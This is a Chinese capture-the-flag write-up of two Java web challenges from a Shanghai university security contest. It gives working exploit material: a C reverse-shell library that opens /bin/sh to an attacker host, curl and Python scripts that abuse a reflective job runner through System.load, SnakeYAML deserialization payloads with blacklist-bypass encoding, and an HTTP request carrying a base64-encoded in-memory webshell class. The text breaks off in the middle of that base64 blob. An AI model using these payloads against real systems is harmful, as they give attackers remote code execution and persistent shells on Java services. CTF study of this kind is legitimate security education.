从上海市大学生网络安全大赛初赛两道java题学点小trick

前言

帮学弟看了会题,题不难,算记录一下学点新的trick然后增加点做题反射弧吧。

ezjaba

题目很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
public class VulnController {
private static Map<String, ScheduledJob> jobs = new HashMap();
private static final String[] JOB_BLACKLIST = new String[]{"java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "rmi", "ldap", "ldaps", "http", "https"};
private static final String[] JOB_WHITELIST = new String[]{"com.jabaez.FLAG"};

@GetMapping({"/server"})
public Map<String, Object> getServerInfo() {
Map<String, Object> info = new HashMap();
info.put("javaHome", System.getProperty("java.home"));
info.put("javaVersion", System.getProperty("java.version"));
info.put("osName", System.getProperty("os.name"));
info.put("userDir", System.getProperty("user.dir"));
info.put("uploadDir", "/tmp/uploads");
Charset gbk = Charset.forName("GBK");
byte[] bytes = gbk.encode("你好").array();
System.out.println(Arrays.toString(bytes));
return info;
}

@PostMapping({"/upload"})
public Map<String, String> uploadFile(@RequestParam("file") MultipartFile file) {
Map<String, String> result = new HashMap();

try {
String uploadDir = "/tmp/uploads/";
File dir = new File(uploadDir);
if (!dir.exists()) {
dir.mkdirs();
}

String originalFilename = file.getOriginalFilename();
if (originalFilename == null) {
result.put("status", "error");
result.put("message", "文件名为空");
return result;
}

String filename = (new File(originalFilename)).getName();
if (filename.contains("..") || filename.contains("/") || filename.contains("\\") || filename.startsWith(".")) {
result.put("status", "error");
result.put("message", "非法文件名");
return result;
}

File dest = new File(uploadDir + filename);
String uploadPathCanonical = (new File(uploadDir)).getCanonicalPath();
String destCanonical = dest.getCanonicalPath();
if (!destCanonical.startsWith(uploadPathCanonical + File.separator)) {
result.put("status", "error");
result.put("message", "非法文件路径");
return result;
}

file.transferTo(dest);
result.put("status", "success");
result.put("path", dest.getAbsolutePath());
result.put("message", "文件上传成功");
} catch (Exception e) {
result.put("status", "error");
result.put("message", e.getMessage());
}

return result;
}

@PostMapping({"/job/add"})
public Map<String, Object> addJob(@RequestBody ScheduledJob job) {
Map<String, Object> result = new HashMap();
if (this.containsBlacklist(job.getInvokeTarget())) {
result.put("status", "error");
result.put("message", "包含非法字符");
return result;
} else if (!this.containsWhitelist(job.getInvokeTarget())) {
result.put("status", "error");
result.put("message", "目标不在白名单中");
return result;
} else {
jobs.put(job.getJobName(), job);
result.put("status", "success");
result.put("message", "任务添加成功");
result.put("jobId", job.getJobName());
return result;
}
}

@PostMapping({"/job/run/{jobName}"})
public Map<String, Object> runJob(@PathVariable String jobName) {
Map<String, Object> result = new HashMap();
ScheduledJob job = (ScheduledJob)jobs.get(jobName);
if (job == null) {
result.put("status", "error");
result.put("message", "任务不存在");
return result;
} else {
try {
this.invokeMethod(job.getInvokeTarget());
result.put("status", "success");
result.put("message", "任务执行成功");
} catch (Exception e) {
result.put("status", "error");
result.put("message", e.getMessage());
result.put("stackTrace", e.getStackTrace()[0].toString());
}

return result;
}
}

private boolean containsBlacklist(String str) {
if (str == null) {
return false;
} else {
String lowerStr = str.toLowerCase();

for(String blackItem : JOB_BLACKLIST) {
if (lowerStr.contains(blackItem.toLowerCase())) {
return true;
}
}

return false;
}
}

private boolean containsWhitelist(String str) {
if (str == null) {
return false;
} else {
for(String whiteItem : JOB_WHITELIST) {
if (str.contains(whiteItem)) {
return true;
}
}

return false;
}
}

private Object invokeMethod(String invokeTarget) throws Exception {
int hashIndex = invokeTarget.indexOf(35);
if (hashIndex == -1) {
throw new IllegalArgumentException("Invalid format, expected: className#methodName(params)");
} else {
String className = invokeTarget.substring(0, hashIndex);
String methodAndParams = invokeTarget.substring(hashIndex + 1);
int paramStart = methodAndParams.indexOf(40);
int paramEnd = methodAndParams.lastIndexOf(41);
if (paramStart != -1 && paramEnd != -1) {
String methodName = methodAndParams.substring(0, paramStart);
String paramStr = methodAndParams.substring(paramStart + 1, paramEnd);
Class<?> clazz = Class.forName(className);
List<Object> paramValues = new ArrayList();
List<Class<?>> paramTypes = new ArrayList();
if (!paramStr.trim().isEmpty()) {
String[] params = this.splitParams(paramStr);

for(String param : params) {
param = param.trim();
if (param.startsWith("'") && param.endsWith("'")) {
String value = param.substring(1, param.length() - 1);
paramValues.add(value);
paramTypes.add(String.class);
} else if (param.equals("null")) {
paramValues.add((Object)null);
paramTypes.add(String.class);
} else if (param.matches("\\d+")) {
paramValues.add(Integer.parseInt(param));
paramTypes.add(Integer.TYPE);
} else if (!param.equals("true") && !param.equals("false")) {
paramValues.add(param);
paramTypes.add(String.class);
} else {
paramValues.add(Boolean.parseBoolean(param));
paramTypes.add(Boolean.TYPE);
}
}
}

try {
Method method = clazz.getMethod(methodName, (Class[])paramTypes.toArray(new Class[0]));
if (Modifier.isStatic(method.getModifiers())) {
return method.invoke((Object)null, paramValues.toArray());
} else {
Object instance = clazz.newInstance();
return method.invoke(instance, paramValues.toArray());
}
} catch (NoSuchMethodException var18) {
Method method = clazz.getDeclaredMethod(methodName, (Class[])paramTypes.toArray(new Class[0]));
method.setAccessible(true);
if (Modifier.isStatic(method.getModifiers())) {
return method.invoke((Object)null, paramValues.toArray());
} else {
Object instance = clazz.newInstance();
return method.invoke(instance, paramValues.toArray());
}
}
} else {
throw new IllegalArgumentException("Invalid method format");
}
}
}

private String[] splitParams(String paramStr) {
List<String> params = new ArrayList();
int bracketLevel = 0;
int start = 0;

for(int i = 0; i < paramStr.length(); ++i) {
char c = paramStr.charAt(i);
if (c != '(' && c != '{' && c != '[') {
if (c != ')' && c != '}' && c != ']') {
if (c == ',' && bracketLevel == 0) {
params.add(paramStr.substring(start, i));
start = i + 1;
}
} else {
--bracketLevel;
}
} else {
++bracketLevel;
}
}

if (start < paramStr.length()) {
params.add(paramStr.substring(start));
}

return (String[])params.toArray(new String[0]);
}

static class ScheduledJob {
private String jobName;
private String invokeTarget;
private String cronExpression;

public String getJobName() {
return this.jobName;
}

public void setJobName(String jobName) {
this.jobName = jobName;
}

public String getInvokeTarget() {
return this.invokeTarget;
}

public void setInvokeTarget(String invokeTarget) {
this.invokeTarget = invokeTarget;
}

public String getCronExpression() {
return this.cronExpression;
}

public void setCronExpression(String cronExpression) {
this.cronExpression = cronExpression;
}
}
}

给了文件上传的路由,也给了将传入的文件转换为job的add路由,其次是run这个job的路由,也是恶意点位。

这个/job/run/调用的还是它自己写的invokeMethod(),它使用 Java Reflection来动态地调用一个方法:

1
2
3
4
5
6
7
8
1、解析输入字符串:它接收一个格式为 className#methodName(param1,param2,...) 的字符串 invokeTarget。
2、加载类:它根据字符串中的 className 部分,使用 Class.forName(className) 来加载对应的类。
3、解析方法和参数:它从字符串中提取出方法名和参数。它会尝试解析参数的类型,支持字符串(用单引号包裹)、整数、布尔值和 null
4、获取方法对象:它使用反射在加载的类中查找与方法名和参数类型匹配的方法。它首先尝试查找公共方法 (getMethod),如果找不到,会继续尝试查找私有方法 (getDeclaredMethod) 并设置其为可访问 (setAccessible(true))。
5、创建实例并调用:
如果方法是静态的 (static),它会直接调用。
如果方法是实例方法,它会先通过 clazz.newInstance() 创建该类的一个新实例(调用无参构造函数),然后调用该实例的方法。
6、返回结果:它返回被调用方法的执行结果。

总之,我们可以知道这个方法允许程序根据一个字符串来执行任意类的任意(包括私有的)方法。

这里思路就有了,就是上传一个东西,然后把它添加到一个job里,这个东西里面含有某种恶意代码,然后让这个/job/run来触发它。

其实就是一个小trick,很自然能想到**上传一个恶意so文件(可反弹shell),然后调用java.lang.System#load//loadLibrary来触发加载它**。

这也是加载本地库(Native Libraries),特别是在使用Java的JNI(Java Native Interface)机制的常用方法,绕RASP用的。

但是我们这里最好需要指定恶意so文件上传的路径,如果用loadLibrary虽说可以不用加什么后缀,但加载的文件必须在设置的java.library.path里,但是我们好像不知道这玩意,题目只告诉我们上传路径在/tmp/uploads。所以只能用load。

EXP

之后就是写一个反弹shell的c代码,gcc编译成so:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// 使用 __attribute__((constructor)) 确保在库加载时自动执行此函数
__attribute__((constructor))
void revshell() {
const char* ip = "vps";
const int port = 1234;
// --------------------------------

int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
return;
}

struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = inet_addr(ip);

if (connect(sock, (struct sockaddr*)&server_addr, sizeof(server_addr)) != 0) {
close(sock);
return;
}

// 重定向标准输入、输出和错误到socket
dup2(sock, 0); // stdin
dup2(sock, 1); // stdout
dup2(sock, 2); // stderr

// 执行一个shell
execve("/bin/sh", NULL, NULL);

close(sock);
}
1
gcc -shared -fPIC revshell.c -o revshell.so

先curl上传一下文件:

1
curl -X POST -F "file=@revshell.so" http://pss.idss-cn.com:24480/api/upload

image-20250822010953192

然后写个脚本直接打。

最后注意一下绕过条件,但是加个//再把FLAG类名加后面就能随便绕了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests

def add_and_run_job(base_url):
job_name = "revshell"
# so_path = "/tmp/uploads/revshell.so"
invoke_target = "java.lang.System#load('/tmp/uploads/revshell.so') // com.jabaez.FLAG"

# --- 1. 添加任务 ---
add_url = f"{base_url}/api/job/add"
add_payload = {
"jobName": job_name,
"invokeTarget": invoke_target
}

try:
add_response = requests.post(add_url, json=add_payload, timeout=5)
add_response.raise_for_status()
print(f"[+] 任务添加成功: {add_response.json()}")
except requests.exceptions.RequestException as e:
print(f"[-] 添加任务失败: {e}")
return

# --- 2. 运行任务 ---
run_url = f"{base_url}/api/job/run/{job_name}"

print(f"\n[*] 正在运行任务: {job_name}")

try:
# 运行任务会触发反弹shell,请求可能会超时,这是正常的
run_response = requests.post(run_url, timeout=5)
print(f"[+] 任务执行请求已发送。服务器响应: {run_response.text}")
except requests.exceptions.Timeout:
print("[+] 请求超时。这可能是因为反向shell已成功建立。请检查您的监听器。")
except requests.exceptions.RequestException as e:
print(f"[-] 运行任务时出错: {e}")


if __name__ == "__main__":
target_url = "http://pss.idss-cn.com:24480"
add_and_run_job(target_url)

image-20250822011044892

image-20250822011051221

ezyaml

这道其实出题人很抽象的放在了第一题的附件里,但是题是下午放出来的,所以题刚放出来就被打烂了。。。

有点难评(

但我想说的是,这道题虽然也很简单,就一个随便写yaml表达式的接口然后yaml.load反序列化,但是我们最后解题的思路是值得说道说道的,来自队里oy学长的ClassPathXmlApplicationContext打法。

同时我也参考了一下:

奇安信攻防社区-SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘

本来当时想打这个:

1
2
3
4
5
6
[
!!com.sun.javafx.iio.ImageFrame [null, null, 0, 0, 0, &A [!!binary "yv66vgAAADQAXwoAEgA0BwA1CgACADQHADYKADcAOAoAOQA6CgACADsJADwAPQcAPgoACQA/CgBAAEEKAEIAQwgARAoAQgBFBwBGBwBHCgAQAEgHAEkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGExjb20vaGVpaHU1NzcvYmVhbi9FdmlsOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBKAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBGAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAqb3JnL2FwYWNoZS90b21jYXQvdXRpbC9jb2RlYy9iaW5hcnkvQmFzZTY0AQAWY29tL2hlaWh1NTc3L2JlYW4vRXZpbAcASwwATABNBwBODABPAFAMAB4AUQcAUgwAUwBUAQAQamF2YS9sYW5nL1N0cmluZwwAEwBVBwBWDABXAFgHAFkMAFoAWwEABGNhbGMMAFwAXQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEwBeAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAK2NvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL1JlcG9zaXRvcnkBAAtsb29rdXBDbGFzcwEASShMamF2YS9sYW5nL0NsYXNzOylMY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvY2xhc3NmaWxlL0phdmFDbGFzczsBADRjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGKFtCKVtCAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEABShbQilWAQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEABAASAAAAAAAFAAEAEwAUAAEAFQAAAC8AAQABAAAABSq3AAGxAAAAAgAWAAAABgABAAAADgAXAAAADAABAAAABQAYABkAAAAJABoAGwABABUAAABeAAQAAgAAACK7AAJZtwADEgS4AAW2AAa2AAdMsgAIuwAJWSu3AAq2AAuxAAAAAgAWAAAADgADAAAAEAATABEAIQASABcAAAAWAAIAAAAiABwAHQAAABMADwAeAB8AAQABACAAIQACABUAAAA/AAAAAwAAAAGxAAAAAgAWAAAABgABAAAAHwAXAAAAIAADAAAAAQAYABkAAAAAAAEAIgAjAAEAAAABACQAJQACACYAAAAEAAEAJwABACAAKAACABUAAABJAAAABAAAAAGxAAAAAgAWAAAABgABAAAAJAAXAAAAKgAEAAAAAQAYABkAAAAAAAEAIgAjAAEAAAABACkAKgACAAAAAQArACwAAwAmAAAABAABACcACAAtABQAAQAVAAAAZgADAAEAAAAXuAAMEg22AA5XpwANS7sAEFkqtwARv7EAAQAAAAkADAAPAAMAFgAAABYABQAAABYACQAZAAwAFwANABgAFgAaABcAAAAMAAEADQAJAC4ALwAAADAAAAAHAAJMBwAxCQABADIAAAACADM="], null],
!!com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter [
!!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [*A,"heihu577",!!java.util.Properties {},!!int 0,!!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {}]
]
]

但是靶机那边java好像没这个类,我本地也没有,但oy学长有emmmm…..这个跟java自己装的依赖有关系吧。

它ban的也不彻底,而且这么ban基本随便绕。。。

payload是打的那个写文件操作,双重URL编码就绕了。。。

1
!!org.springframework.context.support.ClassPathXmlApplicationContext [ "file://${catalina.home}/**/*.tmp" ]

这里取了个巧,通过${catalina.home}直接拿到它的位置,这里应该是从ClassPathXmlApplicationContext任意文件写//无外网RCE的这个trick出的一道题我那里看来的。

可以先参考:

Java利用无外网(下):ClassPathXmlApplicationContext的不出网利用-CSDN博客

ClassPathXmlApplicationContext的不出网利用 | 离别歌

奇安信攻防社区-从 SnakeYaml 看 ClassPathXmlApplicationContext 不出网利用

绕黑名单直接把ClassPath给再编码一次就完了:

1
!!org.springframework.context.support.%43%6c%61%73%73%50%61%74%68XmlApplicationContext [ "file://${catalina.home}/**/*.tmp" ]

EXP

http报文我用yakit抓的,所以它又自动帮我编码了一次,内部打一个RCE在X-Authorization的内存🐎就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /yaml?yamlContent=%21%21org%2Espringframework%2Econtext%2Esupport%2E%2543%256c%2561%2573%2573%2550%2561%2574%2568XmlApplicationContext%20%5B%20%22file%3A%2F%2F%24%7Bcatalina%2Ehome%7D%2F%2A%2A%2F%2A%2Etmp%22%20%5D HTTP/1.1
Host: pss.idss-cn.com:24458
X-Authorization: cat /flag
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINBwinb4uWPnBREL
Content-Length: 7984

------WebKitFormBoundaryINBwinb4uWPnBREL
Content-Disposition: form-data; name="1"

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="javax.xml.bind.DatatypeConverter.parseBase64Binary"/>
<property name="arguments">
<list>
<value>yv66vgAAADIBOwEAWW9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL1J1bnRpbWVKc29uTWFwcGluZ0V4Y2VwdGlvbmJkZDg2N2FkM2U2ZDQ3YWI4YjNkMjE3M2U5ZTQ0YWEyBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAcMAAUABgoABAAJAQADcnVuDAALAAYKAAIADAEAEGdldFJlcUhlYWRlck5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAD1gtQXV0aG9yaXphdGlvbggAEAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcAEgEAE2phdmEvbGFuZy9UaHJvd2FibGUHABQBABBqYXZhL2xhbmcvVGhyZWFkBwAWAQAKZ2V0VGhyZWFkcwgAGAEAD2phdmEvbGFuZy9DbGFzcwcAGgEAEltMamF2YS9sYW5nL0NsYXNzOwcAHAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAHgAfCgAbACABABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACIBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAJAAlCgAjACYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACgAKQoAIwAqAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcALAEAB2dldE5hbWUMAC4ADwoAFwAvAQAEaHR0cAgAMQEAEGphdmEvbGFuZy9TdHJpbmcHADMBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwANQA2CgA0ADcBAAhBY2NlcHRvcggAOQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAOwA8CgAEAD0BAAZ0YXJnZXQIAD8BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABBAEIKABsAQwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkBwBFCgBGACYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwASABJCgBGAEoBAAhlbmRwb2ludAgATAEABnRoaXMkMAgATgEAB2hhbmRsZXIIAFABAA1nZXRTdXBlcmNsYXNzDABSADwKABsAUwEABmdsb2JhbAgAVQEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAVwBYCgAbAFkBACJvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0R3JvdXBJbmZvCABbAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwBdAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAXwBgCgBeAGEKABsALwEACnByb2Nlc3NvcnMIAGQBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwBmAQAEc2l6ZQEAAygpSQwAaABpCgBnAGoBABUoSSlMamF2YS9sYW5nL09iamVjdDsMAEgAbAoAZwBtAQADcmVxCABvAQAHZ2V0Tm90ZQgAcQEAEWphdmEvbGFuZy9JbnRlZ2VyBwBzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAB1AHYJAHQAdwEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DAB5AHoKAHQAewEACWdldEhlYWRlcggAfQEACWdldE1ldGhvZAwAfwAfCgAbAIAMAA4ADwoAAgCCAQALZ2V0UmVzcG9uc2UIAIQBAAlnZXRXcml0ZXIIAIYBAA5qYXZhL2lvL1dyaXRlcgcAiAEABmhhbmRsZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACKAIsKAAIAjAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDACOAI8KAIkAkAEABWZsdXNoDACSAAYKAIkAkwEABWNsb3NlDACVAAYKAIkAlgEABGV4ZWMBAAdvcy5uYW1lCACZAQAQamF2YS9sYW5nL1N5c3RlbQcAmwEAC2dldFByb3BlcnR5DACdAIsKAJwAngEAC3RvTG93ZXJDYXNlDACgAA8KADQAoQEAA3dpbggAowEABy9iaW4vc2gIAKUBAAItYwgApwEAB2NtZC5leGUIAKkBAAIvYwgAqwEAEWphdmEvbGFuZy9SdW50aW1lBwCtAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwArwCwCgCuALEBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DACYALMKAK4AtAEAEWphdmEvbGFuZy9Qcm9jZXNzBwC2AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAuAC5CgC3ALoBABFqYXZhL3V0aWwvU2Nhbm5lcgcAvAEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwABQC+CgC9AL8BAAJcYQgAwQEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAwwDECgC9AMUBAAAIAMcBAAdoYXNOZXh0AQADKClaDADJAMoKAL0AywEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwDNCgDOAAkBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsMANAA0QoAzgDSAQAEbmV4dAwA1AAPCgC9ANUBAAh0b1N0cmluZwwA1wAPCgDOANgBAApnZXRNZXNzYWdlDADaAA8KAAgA2wEAE1tMamF2YS9sYW5nL1N0cmluZzsHAN0BABNqYXZhL2lvL0lucHV0U3RyZWFtBwDfAQAGZXlKZVhBCADhAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgwA4wDkCgA0AOUBAAZsZW5ndGgMAOcAaQoANADoAQAGY2hhckF0AQAEKEkpQwwA6gDrCgA0AOwBABUoQylMamF2YS9sYW5nL1N0cmluZzsMAHkA7goANADvAQAIcGFyc2VJbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkMAPEA8goAdADzAQABLggA9QEAB2luZGV4T2YMAPcA8goANAD4AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwwA+gD7CgA0APwBAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDAD+AP8KAAIBAAEAAXgBAAYoW0IpW0IMAQIBAwoAAgEEAQAFKFtCKVYMAAUBBgoANAEHAQAGLzlqLzRBCAEJDACYAIsKAAIBCwEACGdldEJ5dGVzAQAEKClbQgwBDQEOCgA0AQ8BAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7DAERARIKAAIBEwEABS85az09CAEVAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggBFwEAB2Zvck5hbWUMARkAYAoAGwEaAQAMZGVjb2RlQnVmZmVyCAEcAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwBHgEfCgAbASABAAJbQgcBIgEAEGphdmEudXRpbC5CYXNlNjQIASQBAApnZXREZWNvZGVyCAEmAQAGZGVjb2RlCAEoAQAKZ2V0RW5jb2RlcggBKgEAE1tMamF2YS9sYW5nL09iamVjdDsHASwBAA5lbmNvZGVUb1N0cmluZwgBLgEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIIATABAAZlbmNvZGUIATIBAA8/Pz8/Pz8/Pz8/Pz8/Pz8IATQBAAg8Y2xpbml0PgoAAgAJAQAEQ29kZQEACkV4Y2VwdGlvbnMBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAAAJAAEABQAGAAIBOAAAABUAAQABAAAACSq3AAoqtwANsQAAAAABOQAAAAQAAQAIAAIADgAPAAEBOAAAAA8AAQABAAAAAxIRsAAAAAAAAgALAAYAAQE4AAADKQAGAAsAAAJGEhcSGQO9ABvAAB22ACFMKwS2ACcrAQO9AAS2ACvAAC3AAC3AAC1NAz4dLL6iAhUsHTK2ADASMrYAOJkCASwdMrYAMBI6tgA4mQHzLB0ytgA+EkC2AEQ6BBkEBLYARxkELB0ytgBLOgUZBbYAPhJNtgBEOgSnABE6BhkFtgA+Ek+2AEQ6BBkEBLYARxkEGQW2AEs6BRkFtgA+ElG2AEQ6BKcAKzoGGQW2AD62AFQSUbYARDoEpwAXOgcZBbYAPrYAVLYAVBJRtgBEOgQZBAS2AEcZBBkFtgBLOgUZBbYAPhJWtgBEOgSnABQ6BhkFtgA+tgBUEla2AEQ6BBkEBLYARxkEGQW2AEs6BRkFtgA+tgBaEly2AGJXGQW2AD62AGMSXLYAOJkBFxkFtgA+EmW2AEQ6BBkEBLYARxkEGQW2AEvAAGc6BgM2BxUHGQa2AGuiAOwZBhUHtgButgA+EnC2AEQ6BBkEBLYARxkEGQYVB7YAbrYAS7YAPhJyBL0AG1kDsgB4U7YAIRkEGQYVB7YAbrYASwS9AARZAwS4AHxTtgArOgUZBBkGFQe2AG62AEu2AD4SfgS9ABtZAxI0U7YAgRkEGQYVB7YAbrYASwS9AARZAyq3AINTtgArwAA0OggZCMYATxkFtgA+EoUDvQAbtgAhGQUDvQAEtgArOgkZCbYAPhKHA70AG7YAgRkJA70ABLYAK8AAiToKGQoZCLgAjbYAkRkKtgCUGQq2AJenAA6nAAU6CYQHAaf/EIQDAaf966cABEyxAAYAaAB0